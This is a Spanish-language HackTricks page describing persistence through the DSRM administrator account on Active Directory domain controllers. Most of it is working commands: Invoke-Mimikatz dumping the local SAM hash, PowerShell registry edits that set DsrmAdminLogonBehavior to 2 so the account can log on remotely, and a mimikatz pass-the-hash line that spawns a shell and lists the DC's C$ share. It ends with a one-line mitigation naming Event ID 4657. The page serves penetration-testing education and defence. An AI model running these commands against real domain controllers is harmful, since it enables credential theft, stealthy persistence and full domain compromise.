hacktricks/windows-hardening/active-directory-methodology/dsrm-credentials.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

3.3 KiB

Credenciales de DSRM

Dentro de cada DC hay una cuenta de administrador local. Si tienes privilegios de administrador en esta máquina, puedes usar mimikatz para volcar el hash del administrador local. Luego, modificando un registro para activar esta contraseña, puedes acceder de forma remota a este usuario de administrador local.
Primero necesitamos volcar el hash del usuario administrador local dentro del DC:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Entonces necesitamos verificar si esa cuenta funcionará, y si la clave del registro tiene el valor "0" o no existe, debes establecerla en "2":

Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2  #Change value to "2"

Entonces, utilizando un PTH puedes listar el contenido de C$ o incluso obtener una shell. Ten en cuenta que para crear una nueva sesión de powershell con ese hash en memoria (para el PTH) el "dominio" utilizado es solo el nombre de la máquina DC:

sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3af31c97fad8973 /run:powershell.exe
#And in new spawned powershell you now can access via NTLM the content of C$
ls \\dc-host-name\C$

Mitigación

  • Evento ID 4657 - Auditoría de creación/cambio de HKLM:\System\CurrentControlSet\Control\Lsa DsrmAdminLogonBehavior
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥